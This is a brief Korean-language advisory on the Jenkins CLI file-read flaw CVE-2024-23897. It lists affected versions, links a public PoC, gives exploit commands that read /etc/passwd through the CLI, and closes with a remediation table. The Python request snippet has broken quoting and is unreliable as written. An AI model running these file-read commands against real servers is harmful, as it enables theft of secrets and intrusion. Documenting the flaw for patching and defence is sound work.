취약점
CVE_CVE-2024-23897 약식 보고서
작성자 : Heehyeon Yoo|2025-12-03
# 취약점# 취약점 분석# 약식 보고서
3줄 요약
- 2024년 1월 24일, Jenkins 보안 공지에서 CVE-2024-23897가 발표됨
- 이 취약점은 Jenkins의 내장 CLI 파서가
@파일경로형식 인자를 파일 내용으로 자동 확장(expandAtFiles)하는 기능을 사용하는 구조적 결함으로 인해, 인증 없는 공격자도 서버 내부 임의 파일을 읽을 수 있음 - 권한 있는 경우 전체 파일을 읽어 시스템 비밀 파일, 키, 설정 등을 탈취 → 심한 경우 원격 코드 실행(RCE)도 가능한 고위험 취약점
대상
- Jenkins
취약 버전
- Jenkins 2.441 이하
- Jenkins LTS 2.426.2 이하
PoC 코드 정보
-
깃헙에 공개된 PoC
GitHub - xaitax/CVE-2024-23897: CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner. -
익스플로잇 방식 요약
-
CLI 통해
@/etc/passwd처럼 파일 경로를 인자로 주면 서버 파일 시스템을 읽도록 유도하는 방식
java -jar jenkins-cli.jar -s [http://TARGET/](http://target/) -auth user:pass build JOB_NAME @/etc/passwd
→ 서버가 /etc/passwd 내용을 반환 — arbitrary file read 성공
---
import requests
url = "http://TARGET/cli?remoting=false"
data = {"json": "{"": "@/etc/passwd"}"}
r = requests.post(url, data=data)
print(r.text)
→ 결과로 /etc/passwd 내용 일부 또는 전체 출력됨
PoC 조건: Jenkins ≤ 2.441, CLI 기능 활성화, 외부 CLI 접근 허용 서버
위험: 민감 정보 탈취, 권한 상승, RCE 가능성
대응 방안
| 우선순위 | 조치 내용 |
|---|---|
| 1 | Jenkins 2.442 / LTS 2.426.3 이상으로 즉시 업데이트 |
| 2 | 공식 제공된 disable-cli.groovy 스크립트 통해 CLI 비활성화 / WebSocket 접근 차단하도록 프록시 설정 강화 |
| 3 | Jenkins를 공개망에 직접 노출 금지(내부망 또는 VPN 뒤에 배치) / 외부에서 CLI/Jenkins 웹 UI에 직접 접근 불가하도록 방화벽/ACL 적용 |
| 4 | CLI 엔드포인트 접근 로그 모니터링 / @ 포함 비정상 파라미터 탐지 / 로그 분석 체계 구성 |